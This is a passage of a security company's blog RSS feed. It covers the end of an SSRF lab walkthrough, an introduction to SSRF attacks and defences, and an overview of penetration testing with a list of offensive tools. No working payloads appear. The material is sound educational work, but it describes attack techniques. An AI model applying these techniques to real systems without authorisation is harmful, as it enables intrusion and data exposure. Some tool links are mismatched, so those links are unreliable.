src="https://cdn-images-1.medium.com/max/590/0*IaCEjTj7y071R32e.png" /></figure><p><strong>STEP #3:</strong> Now we can access the admin panel via open redirection and delete the User Carlos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*P-e3oVh6lyCq6dYG.png" /></figure><p>In this blog post, we have explored various example cases to exploit for SSRF attacks. We have talked about different types of common SSRF attacks and circumventing common SSRF defenses. Hope you find it useful!</p><p><em>If you want to read more on this topic, feel free to check out the </em><a href="https://www.prplbx.com/resources/blog"><em>PurpleBox </em></a><em>Blog Section.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58b1dbdd064e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/purplebox/a-complete-guide-to-server-side-request-forgery-ssrf-58b1dbdd064e">A Complete Guide To Server-Side Request Forgery (SSRF)</a> was originally published in <a href="https://medium.com/purplebox">PurpleBox Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Welcome SSRF! Take a Look at the New Member of OWASP Top 10!]]></title>
            <link>https://medium.com/purplebox/what-is-ssrf-b957eb296860?source=rss-9b32dcf205f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b957eb296860</guid>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[prplbx]]></dc:creator>
            <pubDate>Thu, 14 Oct 2021 11:34:01 GMT</pubDate>
            <atom:updated>2021-10-14T11:34:01.904Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This blog post was published on </em><a href="https://www.prplbx.com/resources/blog/what-is-ssrf"><em>PurpleBox </em></a><em>website on </em>Oct 13th, 2021.</p><figure><img alt="SSRF" src="https://cdn-images-1.medium.com/max/1024/1*AgYHn41eFWDbozLve_FDzQ.png" /></figure><h3>What is SSRF?</h3><p>Server-Side Request Forgery (SSRF) attack is a type of attack where the attacker can abuse functionality on the server to read or update internal resources.</p><p>In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization’s infrastructure and read server configuration such as AWS metadata, connect to internal services like HTTP-enabled databases or perform POST requests towards internal services that are not intended to be exposed. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.</p><figure><img alt="server side request forgery illasturation with firewall" src="https://cdn-images-1.medium.com/max/590/0*lWz-hFBelwMCRJZS.png" /></figure><h3>New Member of the OWASP Top 10 Family</h3><p>As most of you know, OWASP updated the 10 most important security vulnerabilities recently. In the new list, there are some major and minor changes. The new A10 element of the <a href="https://owasp.org/Top10/">OWASP Top 10–2021</a> list is SSRF.</p><p>The data reveals a low incidence rate and above-average testing coverage, as well as above-average Exploit and Impact potential ratings. SSRF represents the scenario where the security community members are informing OWASP that this is important, even though it’s not illustrated in the data at this time.</p><figure><img alt="OWASP TOP 10 2021" src="https://cdn-images-1.medium.com/max/590/0*UXMfqZZ192vEAsjK.png" /></figure><h3>Types of SSRF</h3><p>Based on how the victim server responds to the request, SSRF can be divided into two categories as Basic SSRF and Blind SSRF:</p><h4>1. Basic SSRF</h4><p>This is the type of SSRF in which the victim server returns data to the hacker. When they perform an SSRF attack, a hacker is sending a request to a victim server. Basic SSRF is when the victim server sends back some data after the crafted request is made. A hacker would use Basic SSRF when they want to get data from the server or want to access unauthorized features.</p><h4>2. Blind SSRF</h4><p>As the name indicates, in this type of SSRF, hackers don’t get data back from the server. You see this commonly when the request is just to trigger some action on the victim server without returning anything back to the requesting server. Hackers use this type of SSRF when they want to make some changes using the victim server because they don’t need to see results for the activity.</p><h3>SSRF Impact</h3><p>If the user-supplied URL is processed and the back-end response is not sanitized, then the attack can lead to several impacts like:</p><ol><li>Port scanning: A user can scan the port of a particular website through the vulnerable web application which is processing the user’s URL.</li><li>Fingerprinting intranet.</li><li>Attacking internal or external web applications.</li><li>Reading local web server files using the file:/// protocol handler.</li><li>In some cases, a successful SSRF attack can even lead to Remote Code Execution (RCE).</li></ol><figure><img alt="server side request forgery prevention cheat sheet ssrf common flow" src="https://cdn-images-1.medium.com/max/590/0*ojFXxeNmOYtSvoV1.png" /></figure><h3>Internal Recon</h3><p>To decrease the attack surface from external networks, it’s a common security practice to minimize the number of public servers. All the rest of the servers are for internal communication. Hackers can use SSRF to learn about the internal network by running scans. This information would be helpful after a hacker gets unauthorized access to the server to attack other servers in the network.</p><h3>Denial-of-Service (DoS) Attack</h3><p>The number of requests coming to the internal servers is usually less than the traffic to public servers. Hence, they’re configured to have less bandwidth. Hackers can use SSRF to send multiple requests to internal servers to eat up their bandwidth, resulting in a DoS attack.</p><p>Apart from these common attacks, hackers can use SSRF to execute unauthorized or malicious actions, plant malware, etc. The more we know about such risks, the scarier it gets.</p><h3>Data Exposure</h3><p>Hackers use SSRF to query internal services that can only be accessed through trusted servers. If the server is in such isolation, it’s needless to say that it contains something valuable. You would also see <a href="https://en.wikipedia.org/wiki/Bastion_host">bastion hosts</a> in the network to add an extra layer of protection. Hackers can use SSRF to bypass such restrictions and gain access to sensitive information.</p><h3>Remote Code Execution (RCE)</h3><p>Some modern services are meant to be completely interfaced with using HTTP queries. Unrestricted control of the URL can thus let the hacker manipulate such services and lead to anything, up to and including remote code execution on the underlying server (<a href="https://redis.io/">Redis</a> is one of such famous examples).</p><h3>How to Prevent an SSRF Attack?</h3><figure><img alt="firewall closing illustration" src="https://cdn-images-1.medium.com/max/395/0*zLbYDHtrZh8sYB0f.png" /></figure><ul><li>You generally use HTTPS, or occasionally HTTP, requests to servers. So, if you know that only these protocols are used, block requests with ftp://, gopher:// because we know this isn’t supposed to happen. You can also block files :// to prevent attackers from fetching files. This is like allow listing but focuses on the protocols used.</li><li>Use a whitelist of approved domains and protocols through which remote resources can be acquired by the webserver.</li><li>User input should always be sanitized or validated.</li><li>One must verify that the server response received is as planned to avoid response data leakage to an attacker. The raw response body of the request sent by the server should not be delivered to the client under any circumstances.</li></ul><p><em>If you want to read more on this topic, feel free to check out the</em><a href="https://www.prplbx.com/resources/blog"><em> PurpleBox Blog Section.</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b957eb296860" width="1" height="1" alt=""><hr><p><a href="https://medium.com/purplebox/what-is-ssrf-b957eb296860">Welcome SSRF! Take a Look at the New Member of OWASP Top 10!</a> was originally published in <a href="https://medium.com/purplebox">PurpleBox Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is a Pentest Service?]]></title>
            <link>https://medium.com/purplebox/what-is-pentest-bc91ee8ca26c?source=rss-9b32dcf205f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc91ee8ca26c</guid>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[security-testing]]></category>
            <dc:creator><![CDATA[prplbx]]></dc:creator>
            <pubDate>Thu, 30 Sep 2021 10:23:36 GMT</pubDate>
            <atom:updated>2021-09-30T11:15:56.843Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This blog post was published on </em><a href="https://www.prplbx.com/resources/blog/what-is-pentest"><em>PurpleBox </em></a><em>website on </em>Sep 29th, 2021.</p><h3>What is a Pentest Service?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S_4BskzWSnXhBABdPhRN0Q.png" /></figure><p>Pentest (Penetration Test) is a controlled cyberattack that helps check for exploitable vulnerabilities. This blog will help you understand the complete execution of a penetration testing service.</p><p>Penetration testing is not a one-time operation. It is a sophisticated, dynamic-lifetime process that is vital for organizations and must be carried out comprehensively by professionals.</p><figure><img alt="What is a pentest service?" src="https://cdn-images-1.medium.com/max/1024/0*avYvz-75kv78NNr1.png" /></figure><h3>What is Penetration Testing?</h3><p>Penetration Testing is a cyber security process to find and exploit vulnerabilities in IT systems. Penetration Testing is vital for identifying and addressing weaknesses. The purpose of this attack is to identify any weak spots in a system’s security defenses that attackers could take advantage of.</p><h3>Who Performs Pentests?</h3><p>Usually the contractor “Ethical Hackers” perform the pentests. The test being performed by someone who doesn’t know the system ensures that all system vulnerabilities are exposed.</p><h3>What are Pentest Tools?</h3><figure><img alt="What are pentest tools?" src="https://cdn-images-1.medium.com/max/1024/0*dZNuZyxE1yIyeU90.png" /></figure><p>There is a list of the popular pentesting tools.</p><p>Tools for Exploitation and Collecting Info:</p><ul><li><a href="https://github.com/FuzzySecurity/PowerShell-Suite">Powershell-Suite</a></li><li><a href="https://zmap.io/">Zmap</a></li><li><a href="https://github.com/evilsocket/xray">Xray</a></li><li><a href="https://github.com/SimplySecurity/SimplyEmail">SimplyEmail</a></li></ul><p>Tools for Credentials and Wireless:</p><ul><li><a href="https://www.wireshark.org/">Wireshark</a></li><li><a href="https://hashcat.net/hashcat/">Hashcat</a></li><li><a href="https://www.openwall.com/john/">John the Ripper</a></li><li><a href="https://github.com/vanhauser-thc/thc-hydra">Hydra</a></li><li><a href="https://github.com/aircrack-ng/aircrack-ng">Aircrack-ng</a></li></ul><p>Tools for Web Apps and Shells:</p><ul><li><a href="https://portswigger.net/burp">Burp Suite</a></li><li><a href="https://www.metasploit.com/">Metasploit</a></li><li><a href="https://cirt.net/Nikto2">Nikto</a></li><li><a href="https://github.com/fuzzdb-project/fuzzdb">Fuzzdb</a></li></ul><p>Tools for Vulnerabilities:</p><ul><li><a href="https://nmap.org/">Nmap/ ZenMap</a></li><li><a href="https://github.com/sqlmapproject/sqlmap">Sqlmap</a></li><li><a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF">MobSF</a></li><li><a href="https://github.com/mzet-/linux-exploit-suggester">Linux-Exploit-Suggester</a></li></ul><p>Tools for Reverse Engineering:</p><ul><li><a href="http://www.angusj.com/resourcehacker/">Apktool</a></li><li><a href="https://github.com/sqlmapproject/sqlmap">Resource Hacker</a></li><li><a href="https://hex-rays.com/ida-pro/">IDA</a></li><li><a href="https://www.radare.org/r/">Radare</a></li></ul><h3>1. PENTEST METHODOLOGIES</h3><p>Many pentest methods are depending on the security system and the motivation of the organization.</p><p>The different types of pentest methods that a pentester can choose include:</p><p><strong>a. Black Box: </strong>Pentesters have limited knowledge about the security system.</p><p><strong>b. White Box: </strong>Pentesters are provided with detailed information about the security system.</p><p><strong>c. Grey Box: </strong>Pentesters are provided with user-level information about the security system.</p><h4>1.1. Network Pentest</h4><p>A network penetration testing is performed by attacking business networks, network applications, websites, and attached devices by “Ethical Hackers (or Pentesters)”.</p><p>Pentesters assess the security of the target networks and analyze how motivated attackers can circumvent target system’s controls by manually reviewing, testing, and exploiting issues to get to the actual risk posture, covering all aspects of the target system’s external cyber presence, networks, websites, public records, DNS, email systems and certificates.</p><h4>1.2. Web Application Pentest</h4><p>Web application security is the method of making applications safer by identifying, modifying, and improving their security. Security flaws are unavoidable, just like any other program errors. Web vulnerability scanners and other web security monitoring techniques may help in the detection of possible application security flaws.</p><p>One of the most reliable sources in web application pen testing is <a href="https://www.prplbx.com/resources/blog/owasp">The Open Web Application Security Project (OWASP)</a>. OWASP works to assist pen testers with cheat sheets, web application security trainers, testing guides, and testing tools. But the Top 10 List is the most popular OWASP Project.</p><figure><img alt="Web Application Pentest" src="https://cdn-images-1.medium.com/max/1024/0*vX3UyhzNZtr172eF.png" /></figure><h4><a href="https://owasp.org/www-project-top-ten/">OWASP Top 10</a></h4><p>The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.</p><ul><li>Top 10 most critical security risks to web applications</li><li>Most well-known project of OWASP</li><li>Latest version published in 2021</li></ul><figure><img alt="OWASP Top 10 2017" src="https://cdn-images-1.medium.com/max/788/0*bKc518-gay9Vcigj.png" /></figure><figure><img alt="OWASP Top 10 2021" src="https://cdn-images-1.medium.com/max/1024/0*QmI3MEbYnySKc1BE.png" /></figure><h3>2. PENTEST IN CYBERSECURITY PROCESS</h3><h4>2.1. What are the Phases of a Pentest Project?</h4><figure><img alt="What are the Phases of a Pentest Project?" src="https://cdn-images-1.medium.com/max/1024/0*0BsfLm71CBZGKDxq.png" /></figure><ol><li><strong>Scoping and Planning:</strong> Agree with the customer on the scope, timing, and boundaries of the project.</li><li><strong>Discovery:</strong> Gather information on the target from public sources, like using open source intelligence (OSSINT) to find personnel contact information.</li><li><strong>Vulnerability Identification:</strong> Use technical tools to gain further knowledge of the target’s assets, like using automated scanning tools to identify networks, hosts, and vulnerabilities.</li><li><strong>Threat Modeling and Exploitation:</strong> Develop threat models and attack scenarios to accomplish Pentest goals such as gain remote access to systems or the customer database, e.g. using Metasploit to run exploits against known vulnerabilities.</li><li><strong>Lateral Expansion and Maintaining Access:</strong> After gaining access, test lateral expansion to simulate how far an attacker can go and if your security monitoring controls would detect their activities.</li><li><strong>Reporting:</strong> Provide executive management and technical reports that include business risk, technical vulnerabilities, and suggested remediation strategies.</li></ol><h4>2.2. Pentest and Risk Analysis (or Risk Assessment)</h4><p>Risk assessment is the process of identifying, analyzing and evaluating risk. It helps to ensure that the chosen cybersecurity controls are appropriate organization faces.</p><h4>2.3. Risks of Pentest</h4><p>If the Pentester is inexperienced, a pentest can bring damage.</p><p>Here are some pentest risks:</p><ul><li><strong>The high cost of mistakes:</strong> If a pentest isn’t executed properly, the tester can crash servers or corrupt data.</li><li><strong>Unrealistic conditions and biased results:</strong> If the security team knows about an upcoming test, they may prepare themselves and the system for it. If the pentest is performed in an unrealistic environment, the results won’t be reliable.</li><li><strong>Time and scope limitations:</strong> Pentesters have limited time to report the results. This limits the number of exploits that pentesters can use. But hackers usually have unlimited time to plan an attack. Therefore, comprehensive testing in a limited time cannot be completely reliable.</li></ul><h3>3. PENTEST AND OTHER TYPES OF TEST/AUDITS</h3><p>Penetration Tests, Vulnerability Assessment, and Security Audits are usually confused when offered by security service providers. All of them are security terms, but each serves a different goal and they have different outcomes.</p><p>Penetration Tests, Vulnerability Assessment, and Security Audits are usually confused when offered by security service providers. All of them are security terms, but each serves a different goal and they have different outcomes.</p><h4>3.1. Pentest and IT Audit</h4><p>While a pentest is a simulated cyberattack against the security systems, a Security Audit means evaluating a system’s risk level against a set of standards or baselines. Standards are essential rules while baselines are the minimally acceptable level of security. Standards and baselines reach reliability in security implementations and can be individual to industries, technologies, and processes.</p><figure><img alt="Pentest and IT Audit" src="https://cdn-images-1.medium.com/max/1024/0*fUUDgw2ycJeU10TZ.png" /></figure><p>Vulnerability assessment looks at how a system should operate and then compares that to the system’s current operational state.</p><p>Companies must construct a security audit plan that is improvable and sustainable. Associates must be involved in the process for the best result.</p><p><strong>a. Types of Security Audits</strong></p><p>There are two forms of Security Audits:</p><ul><li><strong>Internal Audits:</strong> In these audits, a company uses its resources and internal audit department.</li><li><strong>External Audits:</strong> In these audits, a contractor organization is commissioned to conduct an audit.</li></ul><p><strong>b. What Systems Does an Audit Cover?</strong></p><p>During a security audit, the vulnerabilities that may be examined are:</p><ul><li>Network Vulnerabilities</li><li>Security Controls</li><li>Encryption</li><li>Software Systems</li><li>Architecture Management Capabilities</li><li>Telecommunications Controls</li><li>System Development Audit</li><li>Information Processing</li></ul><h4>3.2. Pentest and Red Team Operation</h4><p>Red Teaming, in contrast to penetration testing, is concentrated on target objectives. Instead of putting a priority on finding as many vulnerabilities as possible, a red team attempts to test how an organization’s security team responds to many threats. The red teaming project will always concentrate on the objectives, seeking to get access to sensitive information in stealth, avoiding detection.</p><figure><img alt="Pentest and IT Audit" src="https://cdn-images-1.medium.com/max/1024/0*z0hSuDOcudsb3pE1.png" /></figure><p>Usually, a red team project will lay out specific objectives and the process will involve a lot more people than a standard penetration test. In spending more time in scoping and needing more resources, Red Team assessments may lead to more detailed comprehension of the level of risk that identified security vulnerabilities might pose to the organization.</p><h4>3.3. <a href="https://www.prplbx.com/resources/blog/vulnerability-scanning">Vulnerability Scanning</a></h4><p>Vulnerability scanning is a systematic and automated review of security weaknesses in an information system. It evaluates if the system is susceptible to any known vulnerabilities, assigns severity levels to those vulnerabilities, and recommends remediation or mitigation, if and whenever needed.</p><p><strong>a. What is </strong><a href="https://www.prplbx.com/security/vulnerabilitymanagement/"><strong>Vulnerability Management</strong></a><strong> and What Is the Difference?</strong></p><p>Vulnerability scanning refers to running a tool and getting a report of a prioritized list of vulnerabilities, Vulnerability Management is a cyclical process or program that incorporates the scan results to identify and mitigate cybersecurity risks continuously and proactively.</p><h4>3.4. Source Code Review</h4><p>A secure code review is a specialized task involving manual and/or automated review of an application’s source code to identify security-related weaknesses (flaws) in the code. A secure code review does not attempt to identify every issue in the code but, instead, looks to provide insight into what types of problems exist and to help the developers of the application understand what classes of issues are present. The goal is to arm the developers with information to help them make the application’s source code more sound and secure.</p><p><strong>a. </strong><a href="https://owasp.org/www-community/Source_Code_Analysis_Tools"><strong>Source Code Analysis Tools</strong></a></p><p>Source code analysis tools, also referred to as Static Application Security Testing (SAST) tools, are designed to analyze source code or compiled versions of code to help find security flaws.</p><p>Some tools are starting to move into the Integrated Development Environment (IDE). It’s effecti̇ve to use source code analysis tools during the software development phase to detect problems. This is a powerful phase within the development life cycle to employ such tools, as it provides immediate feedback to the developer on the issues that they might be introducing into the code during the code development process. This immediate feedback is very useful, especially when compared to finding vulnerabilities much later in the development cycle.</p><p><strong>b. Strengths and Weaknesses</strong></p><p><strong>Strengths</strong></p><ul><li>Scales well — can be run on lots of software and can be run repeatedly (as with nightly builds or continuous integration).</li><li>Useful for things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, and so forth.</li><li>Output is good for developers — highlights the precise source files, line numbers, and even subsections of lines that are affected.</li></ul><p><strong>Weaknesses</strong></p><ul><li>Many types of security vulnerabilities are difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. However, tools of this type are getting better.</li><li>High numbers of false positives.</li><li>It can’t frequently find configuration issues since they are not represented in the code.</li><li>Difficult to ‘prove’ that an identified security issue is an actual vulnerability.</li><li>Many of these tools have difficulty analyzing the code that can’t be compiled. Analysts are not able to compile code because they don’t have the right libraries, all the necessary compilation instructions, and the code, etc.</li></ul><h4>3.5. Social Engineering</h4><p>Social engineering is the art of manipulating people, so they give up confidential information. It uses psychological manipulation to trick users into making security mistakes or giving away sensitive information.</p><p>Social engineering attacks consist of one or more steps. An attacker first scopes the targeted victim to gather necessary background information. Then, the attacker tries to gain the victim’s trust and give stimuli for subsequent actions that break security actions.</p><figure><img alt="Social Engineering" src="https://cdn-images-1.medium.com/max/1024/0*ud4DDK4OhfNVXpYA.png" /></figure><p><strong>Most Known Social Engineering Attack Techniques</strong></p><ul><li>Baiting</li><li>Scareware</li><li>Pretexting</li><li>Phishing</li><li>Spear Phishing</li></ul><h4>3.6. DDoS Attacks</h4><p>A distributed denial-of-service (DDoS) attack is a malicious attempt to disturb the normal traffic of the target server or network by overwhelming the target or with a flood of Internet traffic.</p><p>A DDoS attack is launched from numerous compromised devices, often distributed globally in what is referred to as a botnet.</p><h4>3.7. Load Testing</h4><p>Load testing in software testing is a non-functional testing methodology that is used commonly to estimate the performance of web-based applications, client systems or servers, etc. The test estimates the operating capacity of the application when its user traffic is at high volumes.</p><h4>Conclusion:</h4><p>In this blog post, we’ve covered penetration testing. We’ve introduced different tools that could be useful in pentesting. We provided information about pentest methodologies and revealed the phases and risks of a pentest project. In addition, we talked about other types of testing.</p><p>We hope it was useful information. Please visit our <a href="https://www.prplbx.com/security/pentest">Pentest page</a> to see the penetration testing services PurpleBox offers.</p><p><em>If you want to read more on this topic, feel free to check out the</em><a href="https://www.prplbx.com/resources/blog"><em> PurpleBox Blog Section.</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc91ee8ca26c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/purplebox/what-is-pentest-bc91ee8ca26c">What is a Pentest Service?</a> was originally published in <a href="https://medium.com/purplebox">PurpleBox Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>